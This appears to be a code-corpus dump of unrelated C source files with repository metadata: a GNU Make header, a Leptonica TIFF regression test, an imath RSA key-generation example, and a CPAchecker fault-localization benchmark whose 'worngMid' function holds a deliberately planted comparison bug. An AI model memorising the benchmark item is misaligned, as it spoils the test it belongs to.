f0923cc2ed63f1c23a4a628e4271a242131d328f
|
[
"MIT",
"LicenseRef-scancode-proprietary-license",
"LicenseRef-scancode-warranty-disclaimer",
"GPL-1.0-or-later",
"LicenseRef-scancode-other-copyleft",
"GPL-2.0-or-later",
"GPL-3.0-only"
] |
permissive
|
windystrife/UnrealEngine_NVIDIAGameWorks
|
c3c7863083653caf1bc67d3ef104fb4b9f302e2a
|
b50e6338a7c5b26374d66306ebc7807541ff815e
|
refs/heads/4.18-GameWorks
| 2023-03-11T02:50:08.471040
| 2022-01-13T20:50:29
| 2022-01-13T20:50:29
| 124,100,479
| 262
| 179
|
MIT
| 2022-12-16T05:36:38
| 2018-03-06T15:44:09
|
C++
|
UTF-8
|
C
| false
| false
| 3,149
|
h
|
dep.h
|
/* Definitions of dependency data structures for GNU Make.
Copyright (C) 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997,
1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006 Free Software
Foundation, Inc.
This file is part of GNU Make.
GNU Make is free software; you can redistribute it and/or modify it under the
terms of the GNU General Public License as published by the Free Software
Foundation; either version 2, or (at your option) any later version.
GNU Make is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with
GNU Make; see the file COPYING. If not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. */
/* Flag bits for the second argument to `read_makefile'.
These flags are saved in the `changed' field of each
`struct dep' in the chain returned by `read_all_makefiles'. */
#define RM_NO_DEFAULT_GOAL (1 << 0) /* Do not set default goal. */
#define RM_INCLUDED (1 << 1) /* Search makefile search path. */
#define RM_DONTCARE (1 << 2) /* No error if it doesn't exist. */
#define RM_NO_TILDE (1 << 3) /* Don't expand ~ in file name. */
#define RM_NOFLAG 0
/* Structure representing one dependency of a file.
Each struct file's `deps' points to a chain of these,
chained through the `next'. `stem' is the stem for this
dep line of static pattern rule or NULL.
Note that the first two words of this match a struct nameseq. */
struct dep
{
struct dep *next;
char *name;
char *stem;
struct file *file;
unsigned int changed : 8;
unsigned int ignore_mtime : 1;
unsigned int staticpattern : 1;
unsigned int need_2nd_expansion : 1;
};
/* Structure used in chains of names, for parsing and globbing. */
struct nameseq
{
struct nameseq *next;
char *name;
};
extern struct nameseq *multi_glob PARAMS ((struct nameseq *chain, unsigned int size));
#ifdef VMS
extern struct nameseq *parse_file_seq ();
#else
extern struct nameseq *parse_file_seq PARAMS ((char **stringp, int stopchar, unsigned int size, int strip));
#endif
extern char *tilde_expand PARAMS ((char *name));
#ifndef NO_ARCHIVES
extern struct nameseq *ar_glob PARAMS ((char *arname, char *member_pattern, unsigned int size));
#endif
#ifndef iAPX286
#define dep_name(d) ((d)->name == 0 ? (d)->file->name : (d)->name)
#else
/* Buggy compiler can't hack this. */
extern char *dep_name ();
#endif
extern struct dep *alloc_dep PARAMS ((void));
extern void free_dep PARAMS ((struct dep *d));
extern struct dep *copy_dep_chain PARAMS ((const struct dep *d));
extern void free_dep_chain PARAMS ((struct dep *d));
extern void free_ns_chain PARAMS ((struct nameseq *n));
extern struct dep *read_all_makefiles PARAMS ((char **makefiles));
extern int eval_buffer PARAMS ((char *buffer));
extern int update_goal_chain PARAMS ((struct dep *goals));
extern void uniquize_deps PARAMS ((struct dep *));
|
96fa35c33fa40043fa23975ff33e3cbe0ae5b404
|
4e32ea5b4a215f427af04630e01b1312ffd31a55
|
/test/programs/fault_localization/benchmarks/middleNumber/middleNumber1.c
|
f7f42d3f94bf64f623402049c49c5d52a871a65a
|
[
"Apache-2.0",
"GPL-1.0-or-later"
] |
permissive
|
sosy-lab/cpachecker
|
1add74cb774316dd6e1aea3fb1f352c8141466b7
|
1822761867d106301bda0bc99ed3cc0a25c529aa
|
refs/heads/trunk
| 2023-08-31T14:47:22.284597
| 2023-08-31T14:20:58
| 2023-08-31T14:20:58
| 20,107,238
| 186
| 90
|
Apache-2.0
| 2021-07-27T14:24:30
| 2014-05-23T16:57:37
|
SWIG
|
UTF-8
|
C
| false
| false
| 1,393
|
c
|
middleNumber1.c
|
//SPDX-FileCopyrightText: Schindar Ali
//SPDX-License-Identifier: Apache-2.0
extern int __VERIFIER_nondet_int();
extern void __VERIFIER_error();
void __VERIFIER_assert(int cond)
{
if (!(cond))
{
ERROR: __VERIFIER_error();
}
return;
}
/*function declaration */
int worngMid(int x, int y, int z);
int correctMid(int x, int y, int z);
int main()
{
/*local variable definition */
int x = __VERIFIER_nondet_int();
int y = __VERIFIER_nondet_int();
int z = __VERIFIER_nondet_int();
int worngResult;
int correctResult;
/*calling a function to get mid value */
worngResult = worngMid(x,y,z);
correctResult = correctMid(x,y,z);
__VERIFIER_assert(worngResult == correctResult);
return 0;
}
/*function returning the mid between three numbers */
int worngMid(int x, int y, int z)
{
int m;
m = z;
if (y < z)
{
if (x > y) // bug this should be x < y
{
m = y;
}
else if (x < z)
{
m = x;
}
}
else
{
if (x > y)
{
m = y;
}
else if (x > z)
{
m = x;
}
}
return m;
}
// check for the correctniss
int correctMid(int x, int y, int z)
{
int m;
m = z;
if (y < z)
{
if (x < y)
{
m = y;
}
else if (x < z)
{
m = x;
}
}
else
{
if (x > y)
{
m = y;
}
else if (x > z)
{
m = x;
}
}
return m;
}
|
b5a1dae8dd0217ff57a5b74ab3db97ec00e390ba
|
5a5328c0ad39230779aa52c9ae57ec193b88941e
|
/tesseract4android/src/main/cpp/leptonica/src/prog/mtiff_reg.c
|
bdac352a7ac1a54616b119153597489480ab715e
|
[
"BSD-2-Clause",
"CC-BY-2.5",
"Apache-2.0"
] |
permissive
|
adaptech-cz/Tesseract4Android
|
66978579ccc80587b8a0ae3eebe79f152fa382cd
|
8ae584f54502d5457c8b9d62401eaa99551352c3
|
refs/heads/master
| 2023-07-21T16:49:39.617935
| 2023-07-18T12:13:29
| 2023-07-18T12:13:29
| 168,021,668
| 517
| 101
|
Apache-2.0
| 2021-03-29T11:52:21
| 2019-01-28T19:21:34
|
C
|
UTF-8
|
C
| false
| false
| 15,062
|
c
|
mtiff_reg.c
|
/*====================================================================*
- Copyright (C) 2001 Leptonica. All rights reserved.
-
- Redistribution and use in source and binary forms, with or without
- modification, are permitted provided that the following conditions
- are met:
- 1. Redistributions of source code must retain the above copyright
- notice, this list of conditions and the following disclaimer.
- 2. Redistributions in binary form must reproduce the above
- copyright notice, this list of conditions and the following
- disclaimer in the documentation and/or other materials
- provided with the distribution.
-
- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL ANY
- CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*====================================================================*/
/*
* mtiff_reg.c
*
* Tests tiff I/O for:
*
* - multipage tiff read/write
* - writing special tiff tags to file [not tested here]
*/
#ifdef HAVE_CONFIG_H
#include <config_auto.h>
#endif /* HAVE_CONFIG_H */
#include "allheaders.h"
#include <string.h>
static const char *weasel_rev = "/tmp/lept/tiff/weasel_rev.tif";
static const char *weasel_rev_rev = "/tmp/lept/tiff/weasel_rev_rev.tif";
static const char *weasel_orig = "/tmp/lept/tiff/weasel_orig.tif";
int main(int argc,
char **argv)
{
l_uint8 *data;
char *fname, *filename;
const char *str;
char buf[512];
l_int32 i, n, npages, equal, success;
size_t offset, size;
FILE *fp;
PIX *pix1, *pix2;
PIXA *pixa, *pixa1, *pixa2, *pixa3;
SARRAY *sa;
L_REGPARAMS *rp;
#if !defined(HAVE_LIBPNG)
L_ERROR("This test requires libpng to run.\n", "mtiff_reg");
exit(77);
#endif
if (regTestSetup(argc, argv, &rp))
return 1;
lept_mkdir("lept/tiff");
/* ---------------------- Test multipage I/O -----------------------*/
/* This puts every image file in the directory with a string
* match to "weasel8" into a multipage tiff file.
* Images with 1 bpp are coded as g4; the others as zip.
* It then reads back into a pix and displays. */
writeMultipageTiff(".", "weasel8.", "/tmp/lept/tiff/weasel8.tif");
regTestCheckFile(rp, "/tmp/lept/tiff/weasel8.tif"); /* 0 */
pixa = pixaReadMultipageTiff("/tmp/lept/tiff/weasel8.tif");
pix1 = pixaDisplayTiledInRows(pixa, 1, 1200, 0.5, 0, 15, 4);
regTestWritePixAndCheck(rp, pix1, IFF_PNG); /* 1 */
pixDisplayWithTitle(pix1, 0, 0, NULL, rp->display);
pixDestroy(&pix1);
pix1 = pixaDisplayTiledInRows(pixa, 8, 1200, 0.8, 0, 15, 4);
regTestWritePixAndCheck(rp, pix1, IFF_PNG); /* 2 */
pixDisplayWithTitle(pix1, 0, 200, NULL, rp->display);
pixDestroy(&pix1);
pix1 = pixaDisplayTiledInRows(pixa, 32, 1200, 1.2, 0, 15, 4);
regTestWritePixAndCheck(rp, pix1, IFF_PNG); /* 3 */
pixDisplayWithTitle(pix1, 0, 400, NULL, rp->display);
pixDestroy(&pix1);
pixaDestroy(&pixa);
/* This uses the offset method for linearizing overhead of
* reading from a multi-image tiff file. */
offset = 0;
n = 0;
pixa = pixaCreate(8);
do {
pix1 = pixReadFromMultipageTiff("/tmp/lept/tiff/weasel8.tif", &offset);
if (!pix1) continue;
pixaAddPix(pixa, pix1, L_INSERT);
if (rp->display)
lept_stderr("offset = %ld\n", (unsigned long)offset);
n++;
} while (offset != 0);
if (rp->display) lept_stderr("Num images = %d\n", n);
pix1 = pixaDisplayTiledInRows(pixa, 32, 1200, 1.2, 0, 15, 4);
regTestWritePixAndCheck(rp, pix1, IFF_PNG); /* 4 */
pixDisplayWithTitle(pix1, 0, 600, NULL, rp->display);
pixDestroy(&pix1);
pixaDestroy(&pixa);
/* This uses the offset method for linearizing overhead of
* reading from a multi-image tiff file in memory. */
offset = 0;
n = 0;
pixa = pixaCreate(8);
data = l_binaryRead("/tmp/lept/tiff/weasel8.tif", &size);
do {
pix1 = pixReadMemFromMultipageTiff(data, size, &offset);
if (!pix1) continue;
pixaAddPix(pixa, pix1, L_INSERT);
if (rp->display)
lept_stderr("offset = %ld\n", (unsigned long)offset);
n++;
} while (offset != 0);
if (rp->display) lept_stderr("Num images = %d\n", n);
pix1 = pixaDisplayTiledInRows(pixa, 32, 1200, 1.2, 0, 15, 4);
regTestWritePixAndCheck(rp, pix1, IFF_PNG); /* 5 */
pixDisplayWithTitle(pix1, 0, 800, NULL, rp->display);
pixDestroy(&pix1);
pixaDestroy(&pixa);
lept_free(data);
regTestCompareFiles(rp, 3, 4); /* 6 */
regTestCompareFiles(rp, 3, 5); /* 7 */
/* This makes a 1000 image tiff file and gives timing
* for writing and reading. Reading uses both the offset method
* for returning individual pix and atomic pixaReadMultipageTiff()
* method for returning a pixa of all the images. Reading time
* is linear in the number of images, but the writing time is
* quadratic, and the actual wall clock time is significantly
* more than the printed value. */
pix1 = pixRead("char.tif");
startTimer();
pixWriteTiff("/tmp/lept/tiff/junkm.tif", pix1, IFF_TIFF_G4, "w");
for (i = 1; i < 1000; i++) {
pixWriteTiff("/tmp/lept/tiff/junkm.tif", pix1, IFF_TIFF_G4, "a");
}
regTestCheckFile(rp, "/tmp/lept/tiff/junkm.tif"); /* 8 */
pixDestroy(&pix1);
if (rp->display) {
lept_stderr("\n1000 image file: /tmp/lept/tiff/junkm.tif\n");
lept_stderr("Time to write 1000 images: %7.3f sec\n", stopTimer());
}
startTimer();
offset = 0;
n = 0;
do {
pix1 = pixReadFromMultipageTiff("/tmp/lept/tiff/junkm.tif", &offset);
if (!pix1) continue;
if (rp->display && (n % 100 == 0))
lept_stderr("offset = %ld\n", (unsigned long)offset);
pixDestroy(&pix1);
n++;
} while (offset != 0);
regTestCompareValues(rp, 1000, n, 0); /* 9 */
if (rp->display)
lept_stderr("Time to read %d images: %6.3f sec\n", n, stopTimer());
startTimer();
pixa = pixaReadMultipageTiff("/tmp/lept/tiff/junkm.tif");
lept_stderr("Time to read %d images and return a pixa: %6.3f sec\n",
pixaGetCount(pixa), stopTimer());
pix1 = pixaDisplayTiledInRows(pixa, 8, 1500, 0.8, 0, 15, 4);
regTestWritePixAndCheck(rp, pix1, IFF_PNG); /* 10 */
pixDestroy(&pix1);
pixaDestroy(&pixa);
/* This does the following sequence of operations:
* (1) makes pixa1 and writes a multipage tiff file from it
* (2) reads that file into memory
* (3) generates pixa2 from the data in memory
* (4) tiff compresses pixa2 back to memory
* (5) generates pixa3 by uncompressing the memory data
* (6) compares pixa3 with pixa1 */
pix1 = pixRead("weasel8.240c.png"); /* (1) */
pixa1 = pixaCreate(10);
for (i = 0; i < 10; i++)
pixaAddPix(pixa1, pix1, L_COPY);
pixDestroy(&pix1);
pixaWriteMultipageTiff("/tmp/lept/tiff/junkm2.tif", pixa1);
regTestCheckFile(rp, "/tmp/lept/tiff/junkm2.tif"); /* 11 */
data = l_binaryRead("/tmp/lept/tiff/junkm2.tif", &size); /* (2) */
pixa2 = pixaCreate(10); /* (3) */
offset = 0;
n = 0;
do {
pix1 = pixReadMemFromMultipageTiff(data, size, &offset);
pixaAddPix(pixa2, pix1, L_INSERT);
n++;
} while (offset != 0);
regTestCompareValues(rp, 10, n, 0); /* 12 */
if (rp->display) lept_stderr("\nRead %d images\n", n);
lept_free(data);
pixaWriteMemMultipageTiff(&data, &size, pixa2); /* (4) */
pixa3 = pixaReadMemMultipageTiff(data, size); /* (5) */
pix1 = pixaDisplayTiledInRows(pixa3, 8, 1500, 0.8, 0, 15, 4);
regTestWritePixAndCheck(rp, pix1, IFF_PNG); /* 13 */
pixDestroy(&pix1);
n = pixaGetCount(pixa3);
if (rp->display) lept_stderr("Write/read %d images\n", n);
success = TRUE;
for (i = 0; i < n; i++) {
pix1 = pixaGetPix(pixa1, i, L_CLONE);
pix2 = pixaGetPix(pixa3, i, L_CLONE);
pixEqual(pix1, pix2, &equal);
if (!equal) success = FALSE;
pixDestroy(&pix1);
pixDestroy(&pix2);
}
regTestCompareValues(rp, TRUE, success, 0); /* 14 */
pixaDestroy(&pixa1);
pixaDestroy(&pixa2);
pixaDestroy(&pixa3);
lept_free(data);
/* ------------------ Test single-to-multipage I/O -------------------*/
/* Read the files and generate a multipage tiff file of G4 images.
* Then convert that to a G4 compressed and ascii85 encoded PS file. */
sa = getSortedPathnamesInDirectory(".", "weasel4.", 0, 4);
if (rp->display) sarrayWriteStderr(sa);
sarraySort(sa, sa, L_SORT_INCREASING);
if (rp->display) sarrayWriteStderr(sa);
npages = sarrayGetCount(sa);
for (i = 0; i < npages; i++) {
fname = sarrayGetString(sa, i, L_NOCOPY);
filename = genPathname(".", fname);
pix1 = pixRead(filename);
if (!pix1) continue;
pix2 = pixConvertTo1(pix1, 128);
if (i == 0)
pixWriteTiff("/tmp/lept/tiff/weasel4", pix2, IFF_TIFF_G4, "w+");
else
pixWriteTiff("/tmp/lept/tiff/weasel4", pix2, IFF_TIFF_G4, "a");
pixDestroy(&pix1);
pixDestroy(&pix2);
lept_free(filename);
}
regTestCheckFile(rp, "/tmp/lept/tiff/junkm2.tif"); /* 15 */
/* Write it out as a PS file */
lept_stderr("Writing to: /tmp/lept/tiff/weasel4.ps\n");
convertTiffMultipageToPS("/tmp/lept/tiff/weasel4",
"/tmp/lept/tiff/weasel4.ps", 0.95);
regTestCheckFile(rp, "/tmp/lept/tiff/weasel4.ps"); /* 16 */
/* Write it out as a pdf file */
lept_stderr("Writing to: /tmp/lept/tiff/weasel4.pdf\n");
l_pdfSetDateAndVersion(FALSE);
convertTiffMultipageToPdf("/tmp/lept/tiff/weasel4",
"/tmp/lept/tiff/weasel4.pdf");
regTestCheckFile(rp, "/tmp/lept/tiff/weasel4.pdf"); /* 17 */
sarrayDestroy(&sa);
/* ------------------ Test multipage I/O -------------------*/
/* Read count of pages in tiff multipage file */
writeMultipageTiff(".", "weasel2", weasel_orig);
regTestCheckFile(rp, weasel_orig); /* 18 */
fp = lept_fopen(weasel_orig, "rb");
success = fileFormatIsTiff(fp);
regTestCompareValues(rp, TRUE, success, 0); /* 19 */
if (success) {
tiffGetCount(fp, &npages);
regTestCompareValues(rp, 5, npages, 0); /* 20 */
lept_stderr(" Tiff: %d page\n", npages);
}
lept_fclose(fp);
/* Split into separate page files */
for (i = 0; i < npages + 1; i++) { /* read one beyond to catch error */
pix1 = pixReadTiff(weasel_orig, i);
if (!pix1) continue;
snprintf(buf, sizeof(buf), "/tmp/lept/tiff/%03d.tif", i);
pixWrite(buf, pix1, IFF_TIFF_ZIP);
pixDestroy(&pix1);
}
/* Read separate page files and write reversed file */
for (i = npages - 1; i >= 0; i--) {
snprintf(buf, sizeof(buf), "/tmp/lept/tiff/%03d.tif", i);
pix1 = pixRead(buf);
if (!pix1) continue;
if (i == npages - 1)
pixWriteTiff(weasel_rev, pix1, IFF_TIFF_ZIP, "w+");
else
pixWriteTiff(weasel_rev, pix1, IFF_TIFF_ZIP, "a");
pixDestroy(&pix1);
}
regTestCheckFile(rp, weasel_rev); /* 21 */
/* Read reversed file and reverse again */
pixa = pixaCreate(npages);
for (i = 0; i < npages; i++) {
pix1 = pixReadTiff(weasel_rev, i);
pixaAddPix(pixa, pix1, L_INSERT);
}
for (i = npages - 1; i >= 0; i--) {
pix1 = pixaGetPix(pixa, i, L_CLONE);
if (i == npages - 1)
pixWriteTiff(weasel_rev_rev, pix1, IFF_TIFF_ZIP, "w+");
else
pixWriteTiff(weasel_rev_rev, pix1, IFF_TIFF_ZIP, "a");
pixDestroy(&pix1);
}
regTestCheckFile(rp, weasel_rev_rev); /* 22 */
regTestCompareFiles(rp, 18, 22); /* 23 */
pixaDestroy(&pixa);
#if 1 /* ----- test adding custom public tags to a tiff header ----- */
{
size_t length;
NUMA *naflags, *nasizes;
SARRAY *savals, *satypes;
pix1 = pixRead("feyn.tif");
naflags = numaCreate(10);
savals = sarrayCreate(10);
satypes = sarrayCreate(10);
nasizes = numaCreate(10);
/* numaAddNumber(naflags, TIFFTAG_XMLPACKET); */ /* XMP: 700 */
numaAddNumber(naflags, 700);
str = "<xmp>This is a Fake XMP packet</xmp>\n<text>Guess what ...?</text>";
length = strlen(str);
sarrayAddString(savals, str, L_COPY);
sarrayAddString(satypes, "char*", L_COPY);
numaAddNumber(nasizes, length); /* get it all */
numaAddNumber(naflags, 269); /* DOCUMENTNAME */
sarrayAddString(savals, "One silly title", L_COPY);
sarrayAddString(satypes, "const char*", L_COPY);
numaAddNumber(naflags, 270); /* IMAGEDESCRIPTION */
sarrayAddString(savals, "One page of text", L_COPY);
sarrayAddString(satypes, "const char*", L_COPY);
/* the max sample is used by rendering programs
* to scale the dynamic range */
numaAddNumber(naflags, 281); /* MAXSAMPLEVALUE */
sarrayAddString(savals, "4", L_COPY);
sarrayAddString(satypes, "l_uint16", L_COPY);
/* note that date is required to be a 20 byte string */
numaAddNumber(naflags, 306); /* DATETIME */
sarrayAddString(savals, "2004:10:11 09:35:15", L_COPY);
sarrayAddString(satypes, "const char*", L_COPY);
/* note that page number requires 2 l_uint16 input */
numaAddNumber(naflags, 297); /* PAGENUMBER */
sarrayAddString(savals, "1-412", L_COPY);
sarrayAddString(satypes, "l_uint16-l_uint16", L_COPY);
pixWriteTiffCustom("/tmp/lept/tiff/tags.tif", pix1, IFF_TIFF_G4, "w", naflags,
savals, satypes, nasizes);
fprintTiffInfo(stderr, "/tmp/lept/tiff/tags.tif");
lept_stderr("num flags = %d\n", numaGetCount(naflags));
lept_stderr("num sizes = %d\n", numaGetCount(nasizes));
lept_stderr("num vals = %d\n", sarrayGetCount(savals));
lept_stderr("num types = %d\n", sarrayGetCount(satypes));
numaDestroy(&naflags);
numaDestroy(&nasizes);
sarrayDestroy(&savals);
sarrayDestroy(&satypes);
pixDestroy(&pix1);
}
#endif
return regTestCleanup(rp);
}
|
1800302cb7be60c19f820f669d91e70be687ee61
|
f18f78fd867a309d1a24076e4994e088f75837fa
|
/examples/rsakey.c
|
2fde633ea17e321105c85d9d4c163e23ad8f5371
|
[
"MIT"
] |
permissive
|
creachadair/imath
|
fc8286c58d4e95b8b29b4d44b102351d8bb81bb0
|
95ed9ebc8b49c428b226a20235433f643df5eda8
|
refs/heads/main
| 2023-07-06T09:18:41.059505
| 2023-06-21T15:03:40
| 2023-06-21T15:03:40
| 5,711,810
| 115
| 27
|
NOASSERTION
| 2023-06-21T15:00:27
| 2012-09-07T02:58:40
|
C
|
UTF-8
|
C
| false
| false
| 8,669
|
c
|
rsakey.c
|
/*
Name: rsakey.c
Purpose: Generate keys for the RSA cryptosystem.
Author: M. J. Fromberger
Usage: rsakey [-e <expt>] <modbits> [<outfile>]
Generates an RSA key pair with a modulus having <modbits> significant bits,
and writes it to the specified output file, or to the standard output. The
-e option allows the user to specify an encryption exponent; otherwise, an
encryption exponent is chosen at random.
Primes p and q are obtained by reading random bits from /dev/random, setting
the low-order bit, and testing for primality. If the first candidate is not
prime, successive odd candidates are tried until a probable prime is found.
Copyright (C) 2002-2008 Michael J. Fromberger, All Rights Reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#include <errno.h>
#include <getopt.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "imath.h"
#include "iprime.h"
typedef struct {
mpz_t p;
mpz_t q;
mpz_t n;
mpz_t e;
mpz_t d;
} rsa_key;
/* Load the specified buffer with random bytes */
int randomize(unsigned char *buf, size_t len);
/* Overwrite the specified value with n_bits random bits */
mp_result mp_int_randomize(mp_int a, mp_size n_bits);
/* Find a prime starting from the given odd seed */
mp_result find_prime(mp_int seed, FILE *fb);
/* Initialize/destroy an rsa_key structure */
mp_result rsa_key_init(rsa_key *kp);
void rsa_key_clear(rsa_key *kp);
void rsa_key_write(rsa_key *kp, FILE *ofp);
int main(int argc, char *argv[]) {
int opt, modbits;
FILE *ofp = stdout;
char *expt = NULL;
rsa_key the_key;
mp_result res;
/* Process command-line arguments */
while ((opt = getopt(argc, argv, "e:")) != EOF) {
switch (opt) {
case 'e':
expt = optarg;
break;
default:
fprintf(stderr, "Usage: rsakey [-e <expt>] <modbits> [<outfile>]\n");
return 1;
}
}
if (optind >= argc) {
fprintf(stderr, "Error: You must specify the number of modulus bits.\n");
fprintf(stderr, "Usage: rsakey [-e <expt>] <modbits> [<outfile>]\n");
return 1;
}
modbits = (int)strtol(argv[optind++], NULL, 0);
if (modbits < CHAR_BIT) {
fprintf(stderr, "Error: Invalid value for number of modulus bits.\n");
return 1;
}
if (modbits % 2 == 1) ++modbits;
/* Check if output file is specified */
if (optind < argc) {
if ((ofp = fopen(argv[optind], "wt")) == NULL) {
fprintf(stderr,
"Error: Unable to open output file for writing.\n"
" - Filename: %s\n"
" - Error: %s\n",
argv[optind], strerror(errno));
return 1;
}
}
if ((res = rsa_key_init(&the_key)) != MP_OK) {
fprintf(stderr,
"Error initializing RSA key structure:\n"
" - %s (%d)\n",
mp_error_string(res), res);
return 1;
}
/* If specified, try to load the key exponent */
if (expt != NULL) {
if ((res = mp_int_read_string(&(the_key.e), 10, expt)) != MP_OK) {
fprintf(stderr,
"Error: Invalid value for encryption exponent.\n"
" - %s (%d)\n",
mp_error_string(res), res);
goto EXIT;
}
}
if ((res = mp_int_randomize(&(the_key.p), (modbits / 2))) != MP_OK) {
fprintf(stderr,
"Error: Unable to randomize first prime.\n"
" - %s (%d)\n",
mp_error_string(res), res);
goto EXIT;
}
fprintf(stderr, "p: ");
find_prime(&(the_key.p), stderr);
if ((res = mp_int_randomize(&(the_key.q), (modbits / 2))) != MP_OK) {
fprintf(stderr,
"Error: Unable to randomize second prime.\n"
" - %s (%d)\n",
mp_error_string(res), res);
goto EXIT;
}
fprintf(stderr, "\nq: ");
find_prime(&(the_key.q), stderr);
fputc('\n', stderr);
/* Temporarily, the key's "n" field will be (p - 1) * (q - 1) for
purposes of computing the decryption exponent.
*/
mp_int_mul(&(the_key.p), &(the_key.q), &(the_key.n));
mp_int_sub(&(the_key.n), &(the_key.p), &(the_key.n));
mp_int_sub(&(the_key.n), &(the_key.q), &(the_key.n));
mp_int_add_value(&(the_key.n), 1, &(the_key.n));
if (expt == NULL &&
(res = mp_int_randomize(&(the_key.e), (modbits / 2))) != MP_OK) {
fprintf(stderr,
"Error: Unable to randomize encryption exponent.\n"
" - %s (%d)\n",
mp_error_string(res), res);
goto EXIT;
}
while ((res = mp_int_invmod(&(the_key.e), &(the_key.n), &(the_key.d))) !=
MP_OK) {
if (expt != NULL) {
fprintf(stderr,
"Error: Unable to compute decryption exponent.\n"
" - %s (%d)\n",
mp_error_string(res), res);
goto EXIT;
}
if ((res = mp_int_randomize(&(the_key.e), (modbits / 2))) != MP_OK) {
fprintf(stderr,
"Error: Unable to re-randomize encryption exponent.\n"
" - %s (%d)\n",
mp_error_string(res), res);
goto EXIT;
}
}
/* Recompute the real modulus, now that exponents are done. */
mp_int_mul(&(the_key.p), &(the_key.q), &(the_key.n));
/* Write completed key to the specified output file */
rsa_key_write(&the_key, ofp);
EXIT:
fclose(ofp);
rsa_key_clear(&the_key);
return 0;
}
int randomize(unsigned char *buf, size_t len) {
FILE *rnd = fopen("/dev/random", "rb");
size_t nr;
if (rnd == NULL) return -1;
nr = fread(buf, sizeof(*buf), len, rnd);
fclose(rnd);
return (int)nr;
}
mp_result mp_int_randomize(mp_int a, mp_size n_bits) {
mp_size n_bytes = (n_bits + CHAR_BIT - 1) / CHAR_BIT;
unsigned char *buf;
mp_result res = MP_OK;
if ((buf = malloc(n_bytes)) == NULL) return MP_MEMORY;
if ((mp_size)randomize(buf, n_bytes) != n_bytes) {
res = MP_TRUNC;
goto CLEANUP;
}
/* Clear bits beyond the number requested */
if (n_bits % CHAR_BIT != 0) {
unsigned char b_mask = (1 << (n_bits % CHAR_BIT)) - 1;
unsigned char t_mask = (1 << (n_bits % CHAR_BIT)) >> 1;
buf[0] &= b_mask;
buf[0] |= t_mask;
}
/* Set low-order bit to insure value is odd */
buf[n_bytes - 1] |= 1;
res = mp_int_read_unsigned(a, buf, n_bytes);
CLEANUP:
memset(buf, 0, n_bytes);
free(buf);
return res;
}
mp_result find_prime(mp_int seed, FILE *fb) {
mp_result res;
int count = 0;
if (mp_int_is_even(seed))
if ((res = mp_int_add_value(seed, 1, seed)) != MP_OK) return res;
while ((res = mp_int_is_prime(seed)) == MP_FALSE) {
++count;
if (fb != NULL && (count % 50) == 0) fputc('.', fb);
if ((res = mp_int_add_value(seed, 2, seed)) != MP_OK) return res;
}
if (res == MP_TRUE && fb != NULL) fputc('+', fb);
return res;
}
mp_result rsa_key_init(rsa_key *kp) {
mp_int_init(&(kp->p));
mp_int_init(&(kp->q));
mp_int_init(&(kp->n));
mp_int_init(&(kp->e));
mp_int_init(&(kp->d));
return MP_OK;
}
void rsa_key_clear(rsa_key *kp) {
mp_int_clear(&(kp->p));
mp_int_clear(&(kp->q));
mp_int_clear(&(kp->n));
mp_int_clear(&(kp->e));
mp_int_clear(&(kp->d));
}
void rsa_key_write(rsa_key *kp, FILE *ofp) {
int len;
char *obuf;
len = mp_int_string_len(&(kp->n), 10);
obuf = malloc(len);
mp_int_to_string(&(kp->p), 10, obuf, len);
fprintf(ofp, "p = %s\n", obuf);
mp_int_to_string(&(kp->q), 10, obuf, len);
fprintf(ofp, "q = %s\n", obuf);
mp_int_to_string(&(kp->e), 10, obuf, len);
fprintf(ofp, "e = %s\n", obuf);
mp_int_to_string(&(kp->d), 10, obuf, len);
fprintf(ofp, "d = %s\n", obuf);
mp_int_to_string(&(kp->n), 10, obuf, len);
fprintf(ofp, "n = %s\n", obuf);
free(obuf);
}
/* Here there be dragons */
|
4999f6554e110d2dc75f8bfbf605a2f3f1a7467b
|
2387bd4c468857c882a24ecee4e3b429db885a8c
|
/aocl_dtl/aoclfal.h
|
401ed4c3559937abe27febd0f693067c64fc3153
|
[
"BSD-3-Clause"
] |
permissive
|
amd/blis
|
2a6aa16ea3dce0c96481a956c6551824b1788a6e
|
a5a3c8ba0cf518e24cb9909af3d5543d3f4b2fc0
|
